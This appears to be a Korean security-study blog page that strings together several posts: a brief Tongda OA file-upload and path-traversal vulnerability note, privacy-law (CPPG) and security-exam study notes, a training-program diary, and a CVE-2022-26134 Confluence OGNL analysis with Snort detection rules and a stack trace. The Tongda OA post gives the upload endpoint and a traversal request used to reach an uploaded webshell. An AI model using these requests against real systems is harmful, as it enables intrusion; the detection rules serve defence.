반응형
반응형

 개요

> Tongda OA는 중국에서 사용되는 기업 통합 관리 소프트웨어로, 회사 내 일정 관리, 공지 사항, 커뮤니케이션 등을 관리한다. 

 

 취약점 설명

 

> 특정버전 Tongda OA 에서 "POST /mobile/api/api.ali.php HTTP/1.1"  요청 구문 포함된 파일 업로드 구문을 전송.

 

 

 

업로드 성공이후 "GET /inc/package/work.php?id=../../../../../myoa/attach/approve_center/2210/>>>>>>>>>>>.wer HTTP/1.1" 다음과 같은 Get 요청 메소드를 사용하여 URL 을 요청합니다.

그림과 같이 업로드된 파일 경로에 성공적으로 액세스하면 "+ok" 프롬프트가 나타납니다.

 공격 성공 시 업로드된 쉘을 사용하여 루트 경로인 webroot 에 접근할 수 있습니다.

 

 

반응형

'공부 > 보안' 카테고리의 다른 글

[보안] 개인정보 관리사(CPPG) -2  (0) 2023.08.02
[보안] 개인정보 관리사(CPPG) -1  (0) 2023.06.25
Rookies 지원과정  (0) 2023.04.25
[보안] 보안기사 정리2  (0) 2023.04.13
[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
반응형

개인정보 가치산정

- 가치산정 방식

델파이

- 전문가 판단 

> 전문가의 판단에 의한 사회학적 산정방식

CVM

- 가장 대표적인 개인정보 가치산정 방법론

- 비시장자원의 가치를 산정하는데 활용되는 경제학적 방식

> 설문조사에 기초한 가치 산정방식

> WTP의 존재 여부 확인

> 피조사자들의 답변 간 평균치를 산정

 

손해배상액 산정

- 개인정보가 유출된 상황을 가정하여, 유출 시 예측되는 손해배상액을 해당 개인정보의 가치로 간주하는 방식

- 가치 산정이 간편하고 다양한 시나리오 개발을 통해 실제 상황에 대응 가능

 

Safe-Harbor 협정 주요 내용

> 고선제 접안데이

- 고지 

> 개인정보의 수집, 이용 목적, 용도 , 정보를 제공하는 제 3자의 유형 문제제기, 권리 행사시 접근 방법 등에 대하여 고지

- 선택

> 개인정보가 제 3자에게 제공되는지 여부 및 최초의 수집목적과 양립할 수 없는 다른 목적으로 정보가 사용될 것인지 여부에 대해 옵트아웃 방식의 선택권 제공.

- 제공

> 개인정보의 위탁처리 등과 같이 제 3자에게 개인정보를 제공할 경우, 당사자에게 고지함은 물론 선택권을 부여하여야 함.

- 접근

> 정보주체의 접근권과 정정 요구권을 보장

- 안전성

> 개인정보를 손실/ 오용/ 권한 없는 접근/ 변경/ 파기로 부터 보호하기 위한 합리적 예방조치를 취하여야 함.

- 데이터 무결성

> 당초의 수집 및 이용목적에 부합한 개인정보의 이용, 정확성, 완전성, 최신성의 확보

- 이행

> 원칙의 준수를 담보할 수 있는 구제수단, 분쟁해결절차, 제제수단이 확보되어야 함.

 

EU-GDPR 주요 용어

 

- 개인정보

: 식별되었거나 또는 식별가능한 자연인과 관련된 모든 정보

>이름, 식별번호, 위치정보, 온라인 식별자 등의 식별자를 참조하거나, 하나 또는 그 이상의 신체적/생리적/유전적/정신적/경제적/문화적 또는 사회적 정체성에 대한 사항들을 참조하여 식별할 수 있는 사람을 뜻함

- 컨트롤러 

: 컨트롤러란 개인정보의 처리 목적 및 수단을 단독 또는 제3자와 공동으로 결정하는 자연인, 법인, 공공 기관, 에이전시 기타 단체

> 개인정보처리자(개보법) : 업무를 목적으로 개인정보파일을 운용하기 위하여 스스로 또는 다른사람을 통하여 개인정보를 처리하는 공공기관, 법인, 단체, 개인 등 

> 위탁자(개보법)  : 개인정보의 처리 업무를 위탁하는 개인정보 처리자.

 

- 프로세서 

: 프로세서란 컨트롤러를 대신하여 개인정보를 처리하는 자연인, 법인, 공공 기관, 에이전시, 기타 단체.

 

- 수령인

: 제 3자인지 여부와 관계없이 개인정보가 공개되는 자연인이나 법인, 공공당국, 기관 또는기타 단체.

 

- 처리

: 처리는 일련의 개인정보에 의해 수행되는 작업 또는 일련의 작업의 일체 의미.

 

- 프로파일링

: 프로파일링은 자연인의 특정한 개인적 측면을 평가하기 위해, 특히 개인의 업무 수행, 경제적 상황, 건강, 개인선호, 관심사, 신뢰도, 행동, 위치, 이동에 관한 측면을 분석 또는 예측하기 위해 개인정보를 사용하는 모든 형태의 자동화된 개인정보 처리를 의미.

 

- 가명화

: 추가적인 정보의 사용 없이 더 이상 특정 정보 주체를 식별할 수 없는 방식으로 수행된 개인정보의 처리 의미

 

개인정보보호법

- 규제기관

> 개인정보보호위원회

- 정의

> 업무를 목적으로 개인정보파일을 운용하기 위하여 스스로 또는 다른 사람을 통하여 개인정보를 처리하는 공공기관, 법인, 단체 및 개인

- 목적

> 업무목적

  * 직업상 또는 사회생활상의 지위에 기하여 계속적으로 종사하는 사무나 사업의 일체를 의미하는 것으로 보수 유무나 영리 여부와는 관계가 없으며, 단 1회의 행위라도 계속, 반복의 의사가 있다면 업무로 볼 수 있음

- 적용대상

> 공공기관 

  * 국회, 법원, 헙법재판소, 중앙선거관리위원회, 중앙행정기관, 지방자치단체, 각극 학교 등

> 법인

> 단체

> 개인

- 보호대상

> 정보주체란 처리되는 정보에 의하여 알아볼 수 있는 사람으로서 그 정보의 주체가 되는 사람

- 대상자

> 개인정보처리자.

 

개인정보보호법 제3조

> 개인정보처리자는 개인정보의 처리 목적을 명확하게 하여야 하고 그 목적에 필요한 범위에서 최소한의 개인정보만을 적법하고 정당하게 수집하여야 한다.

> 개인정보처리자는 개인정보의 처리 목적에 필요한 범위에서 적합하게 개인정보를 처리하여야 하며, 그 목적 외의 용도로 활용하여서는 아니 된다.

> 개인정보처리자는 개인정보의 처리 목적에 필요한 범위에서 개인정보의 정확성, 완전성 및 최신성이 보장되도록 하여야 한다. 

 

민감정보 처리제한

> 23조

- 개인정보 처리자는 사상, 신념, 노동조합, 정당의 가입, 탈퇴, 정치적 견해, 건강, 성생활 등에 관한 정보, 그 밖에 정보주체의 사생활을 현저히 침해할 우려가 있는 개인정보로서 대통령령으로 정하는 정보를 처리하여서는 아니 된다.

  *시행령 민감정보

1) 유전자 검사 등의 결과로 얻어진 유전정보

2) 벌금 이상의 형의 선고, 면제 및 선고유예, 보호감호, 치료감호, 보호관찰, 선고유예의 실효,  집행유예의 취소, 벌금 이상의 형과 함께 부과된 몰수, 추징, 사회봉사명령, 수강명령 등의 선고 또는 처분 등 범죄 경력에 관한 정보

3) 개인의 신체적, 생리적, 행동적 특징에 관한 정보로서 특정 개인을 알아볼 목적으로 일정한 기술적 수단을 통해생성한 정보.

고유식별정보 처리제한

제 24조 개인을 고유하게 구별하기 위하여 부여된 식별정보로서 대통령령으로 정하는 정보를 처리할 수 없다.

 - 별도로 동의를 받은경우

 - 법령에서 구체적으로 고유식별정보의 처리를 요구하거나 허용하는경우. 

 

 

# 개인정보의 가명/ 익명처리 기술 종류

 - 개인정보 삭제 

> 삭제

원본정보에서 개인정보를 단순 삭제

>부분 삭제

개인정보 전체를 삭제하는 방식이 아니라 일부를 삭제

> 행 항목 삭제

다른 정보와 뚜렷하게 구별되는 행 항목을 삭제

> 로컬 삭제

특이정보를 해당 행 항목에서 삭제

- 개인벙보 일부 또는 전부 대체

> 마스킹

특정 항목의 일부 또는 전부를 공백 또는 문자로 대체

> 총계처리

평균값, 최댓값 , 최솟값, 최빈값, 중간값 등으로 처리

> 부분총계

정보집합물 내 하나 또는 그 이상의 행 항목에 해당하는 ㅌㄱ정 열 항목을 총계처리. 즉, 다른 정보에 비하여 오차범위가 큰 항목을 평균값 등으로 대체

> 일반 라운딩

올림, 내림, 반올림 등의 기준을 적용하여 집계 처리하는 방법으로, 일반적으로 세세한 정보보다는 전체 통계 정보가 필요한 경우 많이 사용

> 랜덤라운딩

수치데이터를 임의의 수인 자리 수, 실제 수 기준으로 올림 또는 내림 하는 기법

> 제어라운딩

라운딩 적용 시 값의 변경에 따라 행이나 열의 합이 원본의 행이나 열의 합과 일치하지 않는 단점을 해결하기 위해 원본과 결과가 동일하도록 라운딩을 적용하는 기법

> 상하단 코딩

정규분포의 특성을 가진 데이터에서 양쪽 끝에 치우친 정보는 적은 수의 분포를 가지게 되어 식별성을 가질 수 있음

> 로컬 일반화

전체 정보집합물 중 특정 열 항목에서 특이한 값을 가지거나 분포상의 특이성으로 인해 식별성이 높아지는 경우 해당 부분만 일반화를 적용하여 식별성을 낮추는 기법

> 범위 방법

수치 데이터를 임의의 수 기준의 범위로 설정하는 기법으로, 해당 값의 범위 또는 구간으로 표현

> 문자데이터 범주화

문자로 저장된 정보에 대해 보다 상위의 개념으로 범주화 하는 기법

> 양방향 암호화

특정 정보에 대해 암호화와 암호화된 정보에 대한 복호화가 가능한 암호화 기법

>잡음 추가

개인정보에 임의의 숫자 등 잡음을 추가

> 순열

분석 시 가치가 적고 식별성이 높은 열 항목에 대해 대상 열항목의 모든 값을 열 항목 내에서 무작위로 순서를 변경하여 식별성을 낮추는 기법

> 토큰화

개인을 식별할 수 있는 정보를 토큰으로 변환 후 대체함으로써 개인정보를 직접 사용하여 발생하는 식별 위험을 제거하여 개인정보를 보호하는 기술.

 

- 개인정보 보호책임자의 자격요건

> 민간기업

* 사업주 또는 대표자, 임원

 소기업 중 업종별 상시근로자수 5명 미만시 지정하지 않을 수 있으며 대표자가 CPO 

> 공공기관

* 국회, 법원, 헙법재판소, 중앙선거관리위원회의 행정사무를 처리하는 기관 및 중앙 행정기관 : 고위공무원단에 속하는 공무원

* 정무직 공무원을 장으로 하는 국가기관 : 3급 이상 공무원

* 3급 공무원을 장으로 하는 국가기관 : 4급 이상 공무원 또는 그에 상당하는 공무원

* 기타 국가기관 : 해당기관의 개인정보 처리 업무 관련 업무 담당 부서장

* 시, 도 및 시, 도 교육청 : 3급 이상 공무원

* 시, 군 및 자치구 : 4급 공무원

* 각급 학교 : 해당 학교 행정사무를 총괄하는 사람

* 기타 공공기관 : 개인정보 처리 관련 업무를 담당하는 부서장

 

 

 

 

 

 

 

 

반응형
반응형

1. 개인정보의 개요

1.1 개인정보의 정의
- 개인의 신체, 재산, 사회적 지위, 신분등에 관한 사실, 판단, 평가 등을 나타내는 일체의 모든 정보를 말한다. 정보사회를 맞이하여 사회 각 분야에서 인터넷과 정보통신기술이 일상화되면서, 개인정보는 과거의 단순한 신분정보에서 오늘날에는 전자상거래, 고객관리, 금융거래 등 사회의 구성, 유지, 발전을 위한 필수적인 요소로서 사용되고 있다. 또한 개인정보는 기업의 입장에서도 수익 창출을 위한 자산적 가치로서 높게 평가되고 있다.
 
1.1.1 개인정보 종류
신분관계 - 성명, 주민등록번호, 주소, 본적, 가족관계, 본관 등
내면의 비밀 - 사상, 신조, 종교, 가치관, 정치적 성향 등
심신의 상태 - 건강상태, 신장, 체중 등 신체적 특징, 병력, 장애 정도 등
사회 경력 - 학력, 직업, 자격, 전과 여부 등
경제관계 - 소득규모, 재산보유상황, 거래내역, 신용정보, 채권채무 관계 등
새로운 유형 - 생체인식정보, 위치 정보 등
 
 1.1.2 개인정보 정의 분석
과거에는 개인정보보호법과 정보통신망법에서 개인정보의 정의를 규정하였다. 그러나 2020년 2월에 정보통신망법에서의 개인정보의 정의가 삭제되어 이제는 개인정보보호법에서만 유일하게 정의하고 있다.
 
- 개인정보보호법 제2조 
'개인정보' : 살아있는 개인에 관한 정보로서 다음 각 목의 어느 하나에 해당하는 정보를 말한다.
ㄴ가. 성명, 주민등록번호 및 영상 등을 통하여 개인을 알아볼 수 있는 정보
ㄴ나. 해당 정보만으로는 특정 개인을 알아볼 수 없더라도 다른 정보와 쉽게 결합하여 알아 볼 수 있는 정보. 이 경우 쉽게 결합할 수 있는지 여부는 다른 정보의 입수 가능성 등 개인을 알아보는데 소요되는 시간, 비용, 기술 등을 합리적으로 고려하여야 한다.
ㄴ 다. 가목 또는 나목을 제 1호의 2에 따라 가명처리함으로써 원래의 상태로 복원하기 위한 추가 정보의 사용, 결합 없이는 특정 개인을 알아볼 수 없는 정보.
 
# 살아 있는 개인에 관한 정보 
ㄴ 자연인에 관한 정보이므로 사망했거나 실종선고 등 관계법령에 의해 사망한것으로 간주되는 자에 관한 정보는 개인정보로 볼 수 없다. 다만, 사망자의 정보라고 하더라도 유족과의 관계를 알 수 있는 정보는 유족의 개인정보에 해당한다.
 
# 개인에 관한 정보
ㄴ 주체는 자연이이어야 하며, 법인 또는 단체에 관한 정보는 개인정보에 해당하지 않는다. 따라서 법인 또는 단체의 이름, 소재지 주소, 대표 연락처, 업무별 연락처, 영업실적등은 개인정보에 해당하지 않는다. 또한, 개인사업자의 상호명, 사업장 주소, 전화번호, 사업자등록번호, 매춣액, 납세액 등은 사업체의 운영과 관련한 정보로서 원칙적으로 개인정보에 해당하지 않는다.
 
# 정보의 내용/형태 등은 제한 없음
ㄴ 정보의 내용/형태 등은 특별한 제한이 없어서 개인을 알아볼 수 있는 모든 정보가 개인정보가 될 수 있다. 즉, 디지털 형태나 수기형태, 자동처리나 수동 처리 등 그 형태 또는 처리방식과 관계없이 모두 개인정보에 해당할 수 있다.
ㄴ 정보 주체와 관련되어 있으면 키, 나이, 몸무게 등 '객관적 사실' 에 관한 정보나 그 사람에 대한 제 3자의 의견 등 '주관적 평가' 정보 모두 개인정보가 될 수 있다. 또한, 그 정보가 반드시 '사실'이거나 '증명된 것'이 아닌 부정확한 정보 또는 허위의 정보라도 특정한 개인에 관한 정보이면 개인정보가 될 수 있다.
 
# 개인을 알아볼 수 있는 정보
ㄴ '알아볼 수 있는'의 의미는 해당 정보를 '처리하는 자'의 입장에서 합리적으로 활용 될 가능성이 있는 수단을 고려하여 개인을 알아볼 수 있다면 개인정보에 해당한다.
현재 처리하는 자 외에도 제공 등에 따라 향후 처리가 예정된 자도 포함된다. 여기서 '처리'란 개인정보보호법 제2조 제2호에 따른 개인정보의 수집, 생성, 연계, 연동, 기록, 저장, 보유, 가공, 편집, 검색, 출력, 정정, 복구, 이용, 제공, 공개, 파기, 그 밖에 이와 유사한 행위를 말한다.
 
# 다른 정보와 쉽게 결합하여 개인을 알아볼 수 있는 정보
ㄴ '쉽게 결합하여'의 의미는 결합 대상이 될 정보의 '입수 가능성'이 있어야 하고 '결합 가능성'이 높아야 함을 의미한다.
ㄴ '입수 가능성'은 두 종 이상의 정보를 결합하기 위해서는 결합에 필요한 정보에 합법적으로 접근/입수할 수 있어야 함을 의미하며, 이는 해킹 등 불법적인 방법으로 취득한 정보까지 포함한다고 볼 수는 없다.
'결합 가능성'은 현재의 기술 수준을 고려하여 비용이나 노력이 비합리적으로 수반되지 않아야 함을 의미하며, 현재의 기술 수준을 고려하여 비용이나 노력이 비합리적으로 수반되지 않아야 함을 의미하며, 현재의 기술 수준에 비추어 결합이 사실상 불가능하거나 결합하는데 비합리적인 수준의 비용이나 노력이 수반된다면 이는 결합이 용이하다고 볼 수 없다.
 
# 가명정보
ㄴ 가명정보란 법 제2조제1호가목 또는 나목에 따른 개인정보를 제1호의 2에 따른 가명처리를 하여 원래의 상태로 복원하기 위한 추가 정보의 사용/결합 없이는 특정 개인을 알아볼 수 없는 정보로서 이러한 가명정보도 개인정보에 해당한다.
 
1.1.3 개인정보 해당 여부
 
- 사망자의 정보로 유족과의 관계를 알 수 있는 정보 - O - 유적의 개인정보
- 법인 또는 단체의 이름, 소재지 주소, 대표 연락처, 업무별 연락처 , 영업 실적 - X - 법인 또는 단체에 관한 정보는 개인정보
- 대표자를 포함한 임원진과 업무 담당자의 이름, 주민등록번호, 자택주소 및 개인 연락처, 사진 - △ - 개인정보로 취급될 수 있음

반응형
반응형

SK쉴더스 루키즈

쉴더스 루키즈 지원과정에 대해 적어보려고 합니다.

1.지원과정

보안 솔루션 엔지니어 직무로써 업무를 하던도중에 한번씩 보안프로젝트 카페를 눈여겨 보고있는데, 루키즈 8기 과정 모집하는 것을 확인하였다.
요새 SK뉴스쿨 , SK루키즈 등 사이버 대학과 연계되거나 SK쉴더스에서 지원하여 인재를 양성하는 프로그램들이 많이 생기고있는걸로 알고있는데 SK뉴스쿨은 나이조건에 걸려 이전에 지원하였는데 탈락하였던 경험이 있었다.

이번 루키즈 과정은 나이조건에서도 좀더 자유로웠고 보안프로젝트 조정원 대표님이 직접 교육해주는 강의를 수강할 수 있다는 기회는 너무 매력적인 기회라고 생각이 들었다.

지원은 4월 말정도에 지원서를 작성 이후 5.4 서류전형 합격통보를 받았다. 서류전형 합격이후에 내일배움카드 관련한 내용 고용센터에 문의하였고 k-digital 과정이여서 그런지 문제없이 발급이 가능하였다

회사를 다니고 있었기때문에 휴가를 쓰고 5.10일 면접을 보았다 보안관련된 기술적인 면접이 될까 걱정되어 기본적인 네트워크 레이어나 몇가지 해킹기법 및 최근 보안동향에 관한 답변을 준비하였으나 교육생을 뽑는 과정이기 때문이였는지 이력서에 해당하는 사항과 앞으로 어떤직무에사 업무를 하고싶은지에 대한 내용이 주 질문이였다

5.12 면접 전형에 대한 합격통보를 받았고 skct 필기시험에 대한 안내를 받았다 skct는 5.21 진행하였는데 실행+인지 / 심층검사로 이루어졌고 쪽지시험을 포함해서 3시간정도 동국대에서 진행하였다 문제는 국어 , 수리 , 실행 / 인성 문제로 구성되었다.

 

2. 교육과정

위에 과정들을 거쳐 루키즈 9기 교육과정에 입과하게되었다.

8기를 지원했지만 대학 졸업 관련 문제로 인해 9기로 시작하게되었다.

4개월 비대면 수업과 나머지 기간은 프로젝트 기간을 거치며 끝나게 되었는데 프로젝트 중간에 취업하게되어 프로젝트를 모두 끝내지는 못하고 마무리하였다.

교육과정에서는 내가 생각하기에는 정말 좋은 수준의 강의들을 들어 너무 좋았고, 같은 기수 동기들과 좋은 인연을 가져가서 좋았다.

만약 교육과정에 수강에 대해 고민을한다면 나는 강추하는 편이다.

현업을 잠시 경험하며 궁금했던 부분들을 많이 해소 할 수 있었고, 좋은 기술들을 배울 수 있다고 생각한다.

 

 

 

 

 

 

 

반응형

'공부 > 보안' 카테고리의 다른 글

[보안] 개인정보 관리사(CPPG) -2  (0) 2023.08.02
[보안] 개인정보 관리사(CPPG) -1  (0) 2023.06.25
[보안] 보안기사 정리2  (0) 2023.04.13
[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
[보안] Metasploit 실습  (0) 2023.04.09
반응형

법규

  • 개인정보의 기술적 관리적 보호조치 기준
    • 접속기록
      • 이용자 또는 개인정보 취급자 등이 개인정보처리시스템에 접속하여 수행한 업무 내역에 대하여 식별자, 접속일시, 접속지를 알 수 있는 정보, 수행업무 등 접속한 사실을 전자적으로 기록한것을 말한다.
  • OECD 프라이버시 보호 8원칙
    • 정보 정확성의 원칙
      • 개인정보는 그 이용 목적에 부합하는 것이어야 하고, 이용 목적에 필요한 범위 내에서 정확하고 완전하며 최신의 상태로 유지해야 한다.
    • 수집 제한의 원칙
      • 개인정보의 수집은 합법적이고 공정한 절차에 의하여 가능한 한 정보주체에게 알리거나 동의를 얻은 후에 수집되어야 한다.
    • 목적 명확화의 원칙
      • 개인정보는 수집 시 목적이 명확하여야 하며 이를 이용할 경우에도 수집 목적의 실현 또는 수집 목적과 양립되어야 하고 목적이 변경될 때 마다 명확히 해야 한다.
    • 이용 제한의 원칙
      • 개인정보는 정보주체의 동의가 있는 경우나 법률의 규정에 의한 경우를 제외하고는 명확화된 목적 이외의 용도로 공개되거나 이용되어서는 안 된다.
    • 안전성 보호의 원칙
      • 개인정보의 분실, 불법적인 접근, 훼손, 사용, 변조, 공개 등의 위험에 대비하여 합리적인 안전보호장치를 마련해야 한다.
    • 공개의 원칙
      • 개인정보의 처리와 정보처리장치의 설치, 활용 및 관련 정책은 일반에게 공개해야 한다.
    • 책임의 원칙
      • 개인정보 관리자는 위에서 제시한 원칙들이 지켜지도록 필요한 제반조치를 취해야 한다.
  • 개인정보 보호법 17조에서 정보주체의 개인정보를 제 3자에게 제공할 때 정보주체에게 알리고 동의를 받도록 하고 있다
    • 개인정보를 제공 받는자
    • 개인정보를 제공받는자의 개인정보 이용 목적
    • 제공하는 개인정보의 항목
    • 개인정보를 제공받는 자의 개인정보 보유 및 이용 기간
    • 동의를 거부할 권리가 있다는 사실 및 동의 거부에 따른 불이익이 있는경우 그 불이익의 내용
  • 개인정보 보호법의 영상정보처리기기의 설치 및 운영 제한관련 안내판
    • 설치 목적 및 장소
    • 촬영 범위 및 시간
    • 관리책임자 성명 및 연락처
    • 그 밖에 대통령령으로 정하는 사항
  • 개인정보 안전성 확보조치 기준인 개인정보보호위원회 고시에 따르면 개인정보처리자는 개인정보의 분실, 도난, 유출, 위조, 변조 또는 훼손되지 아니하도록 내부 의사결정 절차를 통하여 내부관리계획을 수립, 시행 하여야 한다.
  • 개인정보의 안전성 확보조치
    • 개인정보 처리자
      • 업무를 목적으로 개인정보파일을 운용하기 위하여 스스로 또는 다른사람을 통하여 개인정보를 처리하는 공공기관, 법인, 단체 및 개인 등을 말한다.
    • 개인정보 취급자
      • 개인정보처리자의 지휘, 감독을 받아 개인정보를 처리하는 임직원, 파견근로자, 시간제근로자 등을 말한다.
    • 개인정보처리시스템
      • 개인정보를 처리할 수 있도록 체계적으로 구성한 데이터베이스 시스템을 말한다.
    • 비밀번호
      • 정보주체 또는 개인정보취급자 등이 개인정보처리시스템, 업무용 컴퓨터 또는 정보통신망 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보를 말한다.
    • 내부망
      • 물리적 망분리, 접근 통제시스템 등에 의해 인터넷 구간에서의 접근이 통제 또는 차단되는 구간을 말한다.
    • 접근통제
      • 고유식별정보를 처리하는 개인정보 처리자는 인터넷 홈페이지를 통해 고유식별정보가 유출, 변조, 훼손되지 않도록 연 1회 이상 취약점을 점검하고 필요한 보완 조치를 하여야 한다.
  • DMZ
    • 물리적인 네트워크 구성에서 외부 네트워크와 내부 네트워크 사이에 위치한 중간지점으로 내부 시스템을 보호하기 위해 접근통제시스템으로 접근통제를 수행하면서 인터넷으로부터의 접근과 내부망으로의 접근을 허용해주는 구간을 말한다.
  • 안전성 확보조치
    • 개인정보처리자는 개인정보 취급자가 개인정보처리시스템에 접속한 기록을 1년 이상 보관 관리 하여야 한다. 다만, 5만명 이상의 정보주체에 관하여 개인정보를 처리하거나 민감정보 또는 내부관리계획을 처리하는 개인정보처리시스템의 경우에는 2년 이상 보관하여야 한다.
      • 개인정보처리자는 개인정보의 오남용 , 분실 도난 유출 위조 변조 또는 훼손 등에 대응하기 위하여 개인정보처리시스템의 접속기록을 월 1회 이상 점검하여야 한다.
      • 개인정보를 다운로드한 것이 발견되었을 경우에는 내부관리계획으로 정하는 바에 따라 그 사유를 반드시 확인하여야 한다.
    • 접속기록
      • 개인정보취급자 등이 개인정보처리시스템에 접속하여 수행한 업무내역에 대하여 개인정보취급자 등의 계정, 접속일시, 접속지 정보, 처리한 정보주체 정보, 수행업무 등을 전자적으로 기록한 것을 말한다.
      • 이 경우 ‘접속’이란 개인정보처리시스템과 연결되어 데이터 송신 또는 수신이 가능한 상태를 말한다.
      • 개인정보처리자는 개인정보처리시스템의 접속기록 등을 월 1회 이상 점검하여야 한다. 특히 개인정보를 다운로드한 것이 발견되었을 경우에는 내부관리계획으로 정하는 바에 따라 그 사유를 반드시 확인하여야 한다.
    • 내부관리 계획
      • 정보통신서비스 제공자 등이 개인정보의 안전한 처리를 위하여 개인정보보호 조직의 구성, 개인정보취급자의 교육, 개인정보 보호조치 등을 규전한 계획을 말한다.
    • 전자적 침해행위
      • 정상적인 보호, 인증 절차를 우회하여 정보통신기반시설에 접근할 수 있도록 하는 프로그램이나 기술적 장치 등을 정보통신기반시설에 설치하는 방법으로 정보통신망 또는 이와 관련된 정보시스템을 공격하는 행위를 말한다
    • 정보보호 사전점검
      • 정보통신망의 구축 또는 정보통신서비스의 제공 이전에 계획 또는 설계 등의 과정에서 정보보호를 고려하여 필요한 조치를 하거나 계획을 마련하는것을 말한다.
  • 위험
    • 원하지 않는 사건이 발생하여 손실 또는 부정적인 영향을 미칠 가능성을 말한다.
  • 취약성
    • 자산의 잠재적 속성으로 위협의 이용 대상이 되는 것을 말한다. 자산이 위협에 대한 취약성을 가지고 있을 때 손실/피해가 발생하며 자산에 취약성이 없다면 위협이 발생한다고 해도 손실/피해가 발생하지 않는다.
  • 정보자산 그룹핑의 개념
    • 조사된 자산을 기밀성, 무결성, 가용성 평가 결과에 기초하여 자산 유형, 보안특성, 중요도가 같은 것들을 묶어서 공통 자산 그룹으로 명시하는 것을 말한다. 관련 위협 및 취약성 평가와 위험평가를 수행할 때 비밀성, 무결성, 가용성 특성에 근거하여 결과가 달라지므로 같은 결과가 나오는 자산에 대해서 동일한 작업을 여러 번 반복하지 않기 위해서이다.
  • 장점
    • 위험 분석을 수행할 때 3가지 특성 즉, 기밀성, 무결성, 가용성 특성에 근거하여 결과가 달라지므로 같은 결과가 나오는 자산에 대하여 그룹핑을 함으로써 동일한 작업을 여러번 반복 안해도 된다.
  • 위험회피
    • 위험이 존재하는 프로세스나 사업을 수행하지 않고 포기하는 것으로 자산 매각이나 설계변경 등 다른 대안을 선택하여 해당 위험이 실현되지 않도록 하는것을 말한다.
  • 위험전가
    • 보험이나 외주 등으로 잠재적 비용을 제 3자에게 이전하거나 할당하는 것으로 위험에 대비하여 보험을 들거나 다른 기관과 계약을 맺어 위협이 발생시키는 위험과 비용을 공유하는것을 말함.
  • 디지털 자료가 법적 인정을 받기 위한 원칙
    • 무결성의 원칙 : 증거 수집 이후에 변화x
    • 정당성의 원칙 : 증거는 적법절차에 의해 수집되어야 하며 위법한 방법으로 수직된 증거는 효력 상실
    • 연계 보관성의 원칙 : 증거물 획득 , 이송, 분석, 보관 , 법정 제출의 각 단계에서 담당자 및 책임자를 명확히 해야 한다
    • 신속성의 원칙 ; 모든 과정은 신속하게 진행되어야 한다
    • 재현의 원칙 : 피해 직전과 같은 조건에서 현장 검증을 실시하였다면, 동일한 결과가 나와야 한다.
반응형

'공부 > 보안' 카테고리의 다른 글

[보안] 개인정보 관리사(CPPG) -1  (0) 2023.06.25
Rookies 지원과정  (0) 2023.04.25
[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
[보안] Metasploit 실습  (0) 2023.04.09
[보안] Docker취약점 분석 실습  (0) 2023.04.08
반응형

> 개요
2022년 06월 02일 발표된 Atlassian Confluence에 대한 원격코드 실행 취약점(CVE-2022-26134)에 대한 분석 공유.

> 탐지 시그니처

msg="SERVER-WEBAPP Atlassian Confluence OGNL expression injection attempt"
drop tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"SERVER-WEBAPP Atlassian Confluence OGNL expression injection attempt";
flow:to_server,established;
content:"${"; fast_pattern; http_uri;
content:"java"; distance:0; http_uri;
content:"|28|"; distance:0; http_uri;
content:"}"; distance:0; http_uri;
pcre:"/\x24\x7b[^\x7d]*?javax?\x2e[^\x7d]*?\x28/Ui";
metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, service http;
reference:cve,2022-26134;
classtype:attempted-user;
sid:59934;
rev:1;
gid:1;
)
msg="MALWARE-BACKDOOR Jsp.Webshell.Noop download attempt"
drop tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (
msg:"MALWARE-BACKDOOR Jsp.Webshell.Noop download attempt";
flow:to_client,established;
file_data;
content:"java.util.*";
content:"java.io.FileOutputStream"; distance:0;
content:"request.getParameter(|22|name|22|)"; within:200; fast_pattern;
content:"request.getParameter(|22|contentString|22|)"; isdataat:!300,relative;
metadata:impact_flag red, policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, service http;
reference:cve,2022-26134;
reference:url,community.atlassian.com/t5/Confluence-discussions/CVE-2022-26134-Critical-severity-unauthenticated-remote-code/td-p/20456533;
classtype:trojan-activity;
sid:59930;
rev:1;
gid:1;
)
외 다수 (Rule Set)

> 분석 내용
  > ognl injection이 시도될 경우, HttpServelet,service 부터 OgnlValueStack.findValue 스택이 호출되는 것으로 확인됨.
  > 이 중 OnlValueStack findValue(str)은 OGNL 표현식의 시작점으로, 아래의 스택 리스트가 호출되는 것으로 확인됨.

at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:171)
at ognl.SimpleNode.getValue(SimpleNode.java:193)
at ognl.Ognl.getValue(Ognl.java:333)
at ognl.Ognl.getValue(Ognl.java:310)A
at co m.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) 
at co m.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) 
at co m.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) 
at co m.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187) 
at co m.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61) 
